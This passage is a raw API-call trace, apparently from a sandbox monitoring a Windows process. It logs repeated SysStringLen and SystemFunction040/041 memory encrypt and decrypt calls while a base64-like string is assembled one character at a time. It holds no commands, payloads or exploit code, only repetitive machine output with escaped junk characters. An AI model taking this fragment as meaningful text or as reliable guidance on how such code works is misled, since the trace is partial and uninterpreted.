OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.180] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455") returned 0x8 [0137.180] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455") returned 0x8 [0137.180] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455") returned 0x8 [0137.180] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455") returned 0x10 [0137.180] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.180] SysStringLen (param_1="Wnft8V//N添蓫䚜䓶冶䒆") returned 0x10 [0137.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.180] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x694f\xcf52\x319b\xfbd8\xf3cd\x4200\x358c\x9163") returned 0x10 [0137.180] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x694f\xcf52\x319b\xfbd8\xf3cd\x4200\x358c\x9163") returned 0x10 [0137.180] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.180] SysStringLen (param_1="Wnft8V//Np蓫䚜䓶冶䒆") returned 0x10 [0137.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xd08d\x1fb9\xa1fe\x802\x54bf\xa514\xcc32\x95ce") returned 0x10 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xd08d\x1fb9\xa1fe\x802\x54bf\xa514\xcc32\x95ce") returned 0x10 [0137.181] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="Wnft8V//NpB䚜䓶冶䒆") returned 0x10 [0137.181] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xedf2\xc336\xc7e2\xe3c0\xd4f3\x735f\x534b\xe18c") returned 0x10 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xedf2\xc336\xc7e2\xe3c0\xd4f3\x735f\x534b\xe18c") returned 0x10 [0137.181] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="Wnft8V//NpBV䓶冶䒆") returned 0x10 [0137.181] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x7ead\x45f\x3e\x32d0\x6d9e\xf1d6\x4bfe\xe974") returned 0x10 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x7ead\x45f\x3e\x32d0\x6d9e\xf1d6\x4bfe\xe974") returned 0x10 [0137.181] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="Wnft8V//NpBVy冶䒆") returned 0x10 [0137.181] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x7ad\xb4ae\x115c\x9f10\x9464\x2753\xc4f3\x183") returned 0x10 [0137.181] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x7ad\xb4ae\x115c\x9f10\x9464\x2753\xc4f3\x183") returned 0x10 [0137.181] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.181] SysStringLen (param_1="Wnft8V//NpBVye冶䒆") returned 0x10 [0137.181] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x770d\x73eb\xff05\x2730\x7f1\x878d\x7a56\x3e87") returned 0x10 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x770d\x73eb\xff05\x2730\x7f1\x878d\x7a56\x3e87") returned 0x10 [0137.182] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.182] SysStringLen (param_1="Wnft8V//NpBVyeu䒆") returned 0x10 [0137.182] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x546c\x8b18\x4749\xaa6a\xc908\x3255\x86f8\x8930") returned 0x10 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\x546c\x8b18\x4749\xaa6a\xc908\x3255\x86f8\x8930") returned 0x10 [0137.182] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.182] SysStringLen (param_1="Wnft8V//NpBVyeuo") returned 0x10 [0137.182] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6") returned 0x10 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6") returned 0x10 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6") returned 0x10 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6") returned 0x18 [0137.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.182] SysStringLen (param_1="Wnft8V//NpBVyeuo8儬3濶嘒⢑屵") returned 0x18 [0137.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xe732\x72c8\x7f06\x27\xc044\x9958\x1988\xbbe") returned 0x18 [0137.182] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xe732\x72c8\x7f06\x27\xc044\x9958\x1988\xbbe") returned 0x18 [0137.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="Wnft8V//NpBVyeuo8R3濶嘒⢑屵") returned 0x18 [0137.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\x7896\x7cf9\xe6fc\x3dd5\x7e6a\x88d3\xf1ca\x3438") returned 0x18 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\x7896\x7cf9\xe6fc\x3dd5\x7e6a\x88d3\xf1ca\x3438") returned 0x18 [0137.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="Wnft8V//NpBVyeuo8RU3濶嘒⢑屵") returned 0x18 [0137.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xfd71\x45e8\x206e\xbfa2\xe6aa\xa4ef\xab53\xcaa7") returned 0x18 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xfd71\x45e8\x206e\xbfa2\xe6aa\xa4ef\xab53\xcaa7") returned 0x18 [0137.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUq濶嘒⢑屵") returned 0x18 [0137.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xee06\x8fa4\xd60c\x2184\xb339\xf757\x336b\x8a3f") returned 0x18 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xee06\x8fa4\xd60c\x2184\xb339\xf757\x336b\x8a3f") returned 0x18 [0137.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqa嘒⢑屵") returned 0x18 [0137.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\x9b3e\xd559\xcc7a\x3f52\x3481\xa4e0\x478f\xc6") returned 0x18 [0137.183] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\x9b3e\xd559\xcc7a\x3f52\x3481\xa4e0\x478f\xc6") returned 0x18 [0137.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.183] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaD⢑屵") returned 0x18 [0137.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xda3\xb2f4\x13f2\xdc9c\x7e51\x99ee\xced1\xdd35") returned 0x18 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xda3\xb2f4\x13f2\xdc9c\x7e51\x99ee\xced1\xdd35") returned 0x18 [0137.184] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.184] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDb屵") returned 0x18 [0137.184] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\x240\xe2c\x3d4\x25f2\x7641\xf63a\xd520\xd481") returned 0x18 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\x240\xe2c\x3d4\x25f2\x7641\xf63a\xd520\xd481") returned 0x18 [0137.184] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.184] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU") returned 0x18 [0137.184] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2") returned 0x18 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2") returned 0x18 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2") returned 0x18 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2") returned 0x20 [0137.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.184] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1\xfdee廄獵鵣䌃ࣥ쀑") returned 0x20 [0137.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.184] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xe7f2\xf850\x4f02\x4b21\x6540\x1b18\x595\xe92f") returned 0x20 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xe7f2\xf850\x4f02\x4b21\x6540\x1b18\x595\xe92f") returned 0x20 [0137.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1j廄獵鵣䌃ࣥ쀑") returned 0x20 [0137.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x77b7\xcc23\x525b\xfdff\x1f5b\x38c0\x6758\xf94e") returned 0x20 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x77b7\xcc23\x525b\xfdff\x1f5b\x38c0\x6758\xf94e") returned 0x20 [0137.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jN獵鵣䌃ࣥ쀑") returned 0x20 [0137.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x74a1\xb88a\xfb0b\xd6b9\x2195\x308d\xd3b5\x9c50") returned 0x20 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x74a1\xb88a\xfb0b\xd6b9\x2195\x308d\xd3b5\x9c50") returned 0x20 [0137.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZ鵣䌃ࣥ쀑") returned 0x20 [0137.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xa867\x5716\x964b\x6f29\x26cf\xe54f\xdb58\x3abc") returned 0x20 [0137.185] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xa867\x5716\x964b\x6f29\x26cf\xe54f\xdb58\x3abc") returned 0x20 [0137.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.185] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZy䌃ࣥ쀑") returned 0x20 [0137.186] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x7ccd\x47eb\xb790\x8613\x6274\x194\xd666\x3e34") returned 0x20 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x7ccd\x47eb\xb790\x8613\x6274\x194\xd666\x3e34") returned 0x20 [0137.186] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyfࣥ쀑") returned 0x20 [0137.186] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xd367\x5c03\x9509\xf388\xca7\xfda4\x5d42\xffd9") returned 0x20 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xd367\x5c03\x9509\xf388\xca7\xfda4\x5d42\xffd9") returned 0x20 [0137.186] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyff쀑") returned 0x20 [0137.186] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x546a\x17ff\x5eca\x9728\xc649\x87b4\xba93\x9a98") returned 0x20 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\x546a\x17ff\x5eca\x9728\xc649\x87b4\xba93\x9a98") returned 0x20 [0137.186] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffn") returned 0x20 [0137.186] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.186] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307") returned 0x20 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307") returned 0x20 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307") returned 0x20 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307") returned 0x28 [0137.187] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.187] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnn뎫ﻝ赁츋揖DZ叔") returned 0x28 [0137.187] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x901\x307f\x2de7\xa369\xc06c\x3b85\xe1a6\x55a0") returned 0x28 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x901\x307f\x2de7\xa369\xc06c\x3b85\xe1a6\x55a0") returned 0x28 [0137.187] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.187] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTﻝ赁츋揖DZ叔") returned 0x28 [0137.187] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xcd38\xe896\xd45f\x8c3d\xee77\xded6\x6aee\x89a3") returned 0x28 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xcd38\xe896\xd45f\x8c3d\xee77\xded6\x6aee\x89a3") returned 0x28 [0137.187] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.187] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG赁츋揖DZ叔") returned 0x28 [0137.187] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x5655\xac14\x87a5\xc1ab\x6d9b\xec6e\xcc13\x9276") returned 0x28 [0137.187] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\x5655\xac14\x87a5\xc1ab\x6d9b\xec6e\xcc13\x9276") returned 0x28 [0137.187] SystemFunction041 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="Wnft8V//NpBVyeuo8RUqaDbU1jNZyffnnTG0츋揖DZ叔") returned 0x28 [0137.188] SystemFunction040 (in: Memory=0x8ebf884, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf884) returned 0x0 [0137.188] SysStringLen (param_1="\x810a\x6dd1\xf7a3\x479a\x8036\xec00\x144d\x7455\xbeb2\x5106\x868e\x135\xab36\x4287\x6d6a\x6ca6\xab3e\xfdc4\x2d8c\x7273\x59a3\x5796\x4d1e\xf0c2\xbe6b\xb381\x8d95\x8c47\xacb\x7743\x440a\x6307\xe2cc\x2502\x7e57\x954f\xd69b\xa64d\xaf25\x5e8f") returned 0x28 [0137.188] SysStringLen 